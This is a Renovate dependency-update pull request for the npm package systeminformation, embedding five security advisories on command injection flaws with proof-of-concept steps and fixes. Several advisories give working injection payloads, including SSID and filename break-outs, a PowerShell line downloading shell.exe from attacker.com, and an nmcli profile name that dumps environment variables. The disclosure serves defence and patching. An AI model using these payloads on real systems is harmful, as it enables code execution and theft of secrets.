Skip to content

Update dependency systeminformation to v5.31.6 [SECURITY]#2317

Open
renovate[bot] wants to merge 1 commit into
mei-dolphinfrom
renovate/npm-systeminformation-vulnerability
Open

Update dependency systeminformation to v5.31.6 [SECURITY]#2317
renovate[bot] wants to merge 1 commit into
mei-dolphinfrom
renovate/npm-systeminformation-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Feb 19, 2026

This PR contains the following updates:

Package Change Age Confidence
systeminformation (source) 5.27.145.31.6 age confidence

Systeminformation has command injection vulnerability in getWindowsIEEE8021x (SSID)

CVE-2024-56334 / GHSA-cvv5-9h9w-qp2m

More information

Details

Summary

The SSID is not sanitized when before it is passed as a parameter to cmd.exe in the getWindowsIEEE8021x function. This means that malicious content in the SSID can be executed as OS commands.

Details

I have exploited this vulnerability in a Windows service using version 5.22.11 of the module, to escalate privileges (in an environment where I am authorized to do so). However, as far as I can see from the code, it is still present in master branch at time of writing, on line 403/404 of network.js.

The SSID is obtained from netsh wlan show interface ... in getWindowsWirelessIfaceSSID, and then passed to cmd.exe /d /s /c "netsh wlan show profiles ... in getWindowsIEEE8021x, without sanitization.

PoC

First, the command injection payload should be included in the connected Wi-Fi SSID. For example create hotspot on mobile phone or other laptop, set SSID to payload, connect to it with victim Windows system. Two example SSID's to demonstrate exploitation are below.

Demonstration to run ping command indefinitely:

a" | ping /t 127.0.0.1 &

Run executable with privileges of the user in which vulnerable function is executed. Chosen executable should should be placed in (assuming system drive is C): C:\a\a.exe.

a" | %SystemDrive%\a\a.exe &

Then, the vulnerable function can be executed on the victim system, for example, using:

const si = require('systeminformation');
si.networkInterfaces((net) => { console.log(net) });

Now the chosen command, PING.exe or a.exe will be run through the cmd.exe command line.

Impact

This vulnerability may enable an attacker, depending on how the package is used, to perform remote code execution or local privilege escalation.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


systeminformation has a Command Injection vulnerability in fsSize() function on Windows

CVE-2025-68154 / GHSA-wphj-fx3q-84ch

More information

Details

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown:

  • Attack Vector (AV:N): Network - if used in a web application/API
  • Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
  • Privileges Required (PR:N): None - no authentication required at library level
  • User Interaction (UI:N): None
  • Scope (S:U): Unchanged - executes within Node.js process context
  • Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.


Details
Vulnerable Code Location

File: lib/filesystem.js, Line 197

if (_windows) {
  try {
    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
    util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

File Line Function Sanitization
lib/processes.js 141 services() util.sanitizeShellString(srv)
lib/processes.js 1006 processLoad() util.sanitizeShellString(proc)
lib/network.js 1253 networkStats() util.sanitizeShellString(iface)
lib/docker.js 472 dockerContainerStats() util.sanitizeShellString(containerIDs, true)
lib/filesystem.js 197 fsSize() No sanitization

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.


PoC
Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');

http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const drive = parsedUrl.query.drive; // User-controlled input
  
  // VULNERABLE: User input passed directly to fsSize()
  const diskInfo = await si.fsSize(drive);
  
  res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation

Normal Request:

GET /api/disk?drive=C:

Malicious Request (Command Injection):

GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage:

Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #:

Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
                                                                                                                            ↑         ↑
                                                                                                            semicolon terminates    # comments out rest
                                                                                                            first command

PowerShell will execute:

  1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
  2. whoami (injected command)
  3. Everything after # is commented out
PoC Script
/**
 * Command Injection PoC - systeminformation fsSize()
 * 
 * Run with: node poc.js
 * Requires: npm install systeminformation
 */

const os = require('os');

// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
  return cmd;
}

// Test payloads
const payloads = [
  { name: 'Normal', input: 'C:' },
  { name: 'Command Execution', input: 'C:; whoami #' },
  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];

console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);

payloads.forEach(p => {
  console.log(`[${p.name}]`);
  console.log(`  Input: ${p.input}`);
  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===

Platform: win32
Note: Actual exploitation requires Windows

[Normal]
  Input: C:
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

[Command Execution]
  Input: C:; whoami #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl

[Data Exfiltration]
  Input: C:; Get-Process | Out-File C:\temp\procs.txt #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl

[Remote Payload]
  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl

As shown, the attacker's commands are injected directly into the PowerShell command string.


Impact
Who Is Affected?
  • Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive)
  • Web applications, APIs, or CLI tools that accept drive letters from users
  • Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
  1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
  2. Data Exfiltration - Read sensitive files and exfiltrate data
  3. Privilege Escalation - If Node.js runs with elevated privileges
  4. Lateral Movement - Use the compromised system to attack internal network
  5. Ransomware Deployment - Download and execute malicious payloads

Recommended Fix

Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:

  if (_windows) {
    try {
+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
      util.powerShell(cmd).then((stdout, error) => {

The true parameter enables strict mode which removes additional characters like spaces and parentheses.


systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path

CVE-2026-26280 / GHSA-9c88-49p5-5ggf

More information

Details

Summary

A command injection vulnerability in the wifiNetworks() function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.

Details

In lib/wifi.js, the wifiNetworks() function sanitizes the iface parameter on the initial call (line 437). However, when the initial scan returns empty results, a setTimeout retry (lines 440-441) calls getWifiNetworkListIw(iface) with the original unsanitized iface value, which is passed directly to execSync('iwlist ${iface} scan').

PoC
  1. Install systeminformation@5.30.7
  2. Call si.wifiNetworks('eth0; id')
  3. The first call sanitizes input, but if results are empty, the retry executes: iwlist eth0; id scan
Impact

Remote Code Execution (RCE). Any application passing user-controlled input to si.wifiNetworks() is vulnerable to arbitrary command execution with the privileges of the Node.js process.

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Command Injection via Unsanitized locate Output in versions() — systeminformation

CVE-2026-26318 / GHSA-5vv4-hvf7-2h46

More information

Details

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation
Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updatedupdatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros
Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate

##### /usr/bin/locate

systemctl list-timers | grep plocate

##### plocate-updatedb.timer    plocate-updatedb.service
##### (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db

##### -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres

##### /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres

##### /usr/lib/postgresql/14/bin/postgres
##### /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version
Step 5 — Verify Code Execution
ls -la /tmp/SI_RCE_PROOF

##### -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.


Real-World Attack Scenarios
Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.


Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name

CVE-2026-44724 / GHSA-hvx9-hwr7-wjj9

More information

Details

Summary

On Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters.

This is not caused by a caller passing attacker-controlled arguments into networkInterfaces(). The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync().

This issue was validated locally against real NetworkManager and real nmcli. Calling only:

require('./lib').networkInterfaces()

was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.

Affected Component & Versions

Affected component:

  • lib/network.js
  • networkInterfaces()
  • Linux NetworkManager / nmcli handling
Impact & Threat Model

Confirmed impact:

An attacker who can create or rename an active NetworkManager connection profile can execute arbitrary shell commands when a Node.js process using systeminformation calls networkInterfaces().

Confirmed realistic affected deployments include:

  • local inventory agents
  • monitoring agents
  • diagnostics tools
  • admin dashboard backends collecting host information
  • privileged local desktop or device-management agents

If such a process runs with elevated privileges, the injected command executes with those same elevated privileges.

Confirmed facts:

  • The payload was stored as a real NetworkManager connection profile name.
  • Real nmcli device status returned the name unchanged.
  • networkInterfaces() parsed that value and reused it in shell commands.
  • The injected command ran as the calling Node.js process.
  • Environment key categories were reachable from the injected process context.

Not claimed:

  • No remote exploitation claim is made.
  • No AV:N or AV:A claim is made.
  • No SSID-to-connection-name attack path is claimed.
  • File-delivery-only .nmconnection import was not confirmed as a remote or unauthenticated path.
Root Cause Analysis

The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.

The interface name is sanitized before it is embedded into shell commands:

const iface = dev.split(':')[0].trim();
const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);

However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:

const connectionNameLines = resultFormat.split(' ').slice(3);
const connectionName = connectionNameLines.join(' ');
return connectionName !== '--' ? connectionName : '';

That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside "${connectionName}" does not make it safe. A connection name containing ", $(), ;, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.

The vulnerable code executes through execSync(), which invokes a shell for command strings. As a result, interpolating connectionName into the command string creates a command-injection sink.

Exact Code Flow & File Paths

Source: lib/network.js:538-544

function getLinuxIfaceConnectionName(interfaceName) {
  const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;

  try {
    const result = execSync(cmd, util.execOptsLinux).toString();
    const resultFormat = result.replace(/\s+/g, ' ').trim();
    const connectionNameLines = resultFormat.split(' ').slice(3);

The parsed value is then returned as connectionName.

Trigger: lib/network.js:987-991

lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
const connectionName = getLinuxIfaceConnectionName(ifaceSanitized);
dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);
dnsSuffix = getLinuxIfaceDNSsuffix(connectionName);
ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);

Sink 1: lib/network.js:620

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`;

Sink 2: lib/network.js:660

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`;

Sink 3: lib/network.js:676

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`;

There are three distinct exploitable connectionName sinks.

Proof of Concept (PoC) & Reproduction Steps

The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.

Run from the project root:

cd /path/to/systeminformation

Confirm proof files do not already exist:

test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET

Create a malicious NetworkManager dummy profile:

nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'

Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:

nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
  ipv4.method manual \
  ipv4.addresses 192.0.2.253/32 \
  ipv6.method disabled

Activate the profile:

nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'

Confirm real nmcli exposes the malicious connection name unchanged:

nmcli device status | grep si-nmghsa0

Expected relevant output includes the active connection name:

si-nmghsa0  dummy  connected  si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)

Trigger the vulnerable library path with no attacker-controlled function argument:

node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)
console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});"

Confirm command execution:

test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED
cat /tmp/si-nm-id-proof
cat /tmp/si-nm-pwd-proof

Inspect environment key categories without printing secret values:

node -e "
const fs=require('fs');
const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8')
  .split(/\n/).map(l=>l.split('=')[0]).filter(Boolean);
const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID'];
console.log('env_key_count='+keys.length);
console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(','));
"

validated evidence:

saw_dummy_iface=true
uid=1000(smart) gid=1000(smart)
pwd=/home/smart/Downloads/systeminformation-master
env_key_count=74
present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK
Local Validation Summary & Aggregate Reachability

Validation was performed against real NetworkManager and real nmcli. The primary proof did not rely on a PATH stub.

Observed behavior:

  • The malicious profile was accepted by NetworkManager.
  • The active connection name appeared unchanged in nmcli device status.
  • Calling only require('./lib').networkInterfaces() triggered execution.
  • The proof artifacts were created only after the library call.
  • The id output matched the calling Node.js process identity.
  • The pwd output matched the Node.js process working directory.
  • The environment proof demonstrated access to process-environment categories without printing secret values.

Aggregate API reachability:

  • lib/index.js:94: getStaticData() reaches network.networkInterfaces() as part of static data collection.
  • lib/index.js:307: getAllData() reaches getStaticData() first.

During local validation, an aggregate runtime attempt later hit an unrelated osinfo.js error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was not used as the primary exploit proof.

Why This Is Not Intended Behavior

networkInterfaces() is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.

The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for connectionName is inconsistent with that defensive pattern.

Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.

Recommended Fix

Avoid shell interpolation entirely for NetworkManager calls.

Replace shell command strings with execFileSync() or spawnSync() using argument arrays. For example:

const { execFileSync } = require('child_process');

const output = execFileSync(
  'nmcli',
  ['connection', 'show', connectionName],
  util.execOptsLinux
).toString();

Recommended code-level changes:

  • Replace nmcli device status 2>/dev/null | grep ${interfaceName} with argument-array execution and filter rows in JavaScript.
  • Replace every nmcli connection show "${connectionName}" | grep ... shell string with argument-array execution.
  • Parse ipv4.method, ipv4.dns-search, and 802-1x.eap in JavaScript instead of using shell grep.
  • Treat NetworkManager profile names as untrusted input even though they originate from local system state.
  • Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.
Regression Test Ideas

Add Linux-specific tests for NetworkManager connection names containing shell metacharacters.

Suggested malicious connection names:

  • name$(...)
  • name"; ...; #
  • ``name`...```
  • name|...
  • name;...

Expected behavior after the fix:

  • networkInterfaces() completes without executing shell syntax from the connection name.
  • No marker files or equivalent side effects are produced.
  • The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.
  • Tests cover all three current sink helpers:
    • DHCP lookup
    • DNS suffix lookup
    • IEEE 802.1x auth lookup

For unit-level coverage, mock the NetworkManager command wrapper so that nmcli device status returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.

Credit request

If you publish an advisory or assign a CVE, please credit me as:

Ali Firas (thesmartshadow) - https://www.smartshadow.dev

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sebhildebrandt/systeminformation (systeminformation)

v5.31.6

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.5...v5.31.6

v5.31.5

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.4...v5.31.5

v5.31.4

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.3...v5.31.4

v5.31.3

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.2...v5.31.3

v5.31.2

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.1...v5.31.2

v5.31.1

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.31.0...v5.31.1

v5.31.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.8...v5.31.0

v5.30.8

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.7...v5.30.8

v5.30.7

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.6...v5.30.7

v5.30.6

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.5...v5.30.6

v5.30.5

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.4...v5.30.5

v5.30.4

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.3...v5.30.4

v5.30.3

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.2...v5.30.3

v5.30.2

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.1...v5.30.2

v5.30.1

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.30.0...v5.30.1

v5.30.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.29.1...v5.30.0

v5.29.1

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.29.0...v5.29.1

v5.29.0

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.28.10...v5.29.0

v5.28.10

Compare Source

v5.28.9

Compare Source

v5.28.8

Compare Source

v5.28.7

Compare Source

v5.28.6

Compare Source

v5.28.5

Compare Source

v5.28.4

Compare Source

v5.28.3

Compare Source

v5.28.2

Compare Source

v5.28.1

Compare Source

v5.28.0

Compare Source

v5.27.17

Compare Source

v5.27.16

Compare Source

v5.27.15

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 5e99a91 to 7477f3d Compare February 20, 2026 11:13
@renovate renovate Bot changed the title Update dependency systeminformation to v5.30.8 [SECURITY] Update dependency systeminformation to v5.31.0 [SECURITY] Feb 20, 2026
@renovate renovate Bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 7477f3d to b245919 Compare May 13, 2026 20:09
@renovate renovate Bot changed the title Update dependency systeminformation to v5.31.0 [SECURITY] Update dependency systeminformation to v5.31.6 [SECURITY] May 13, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants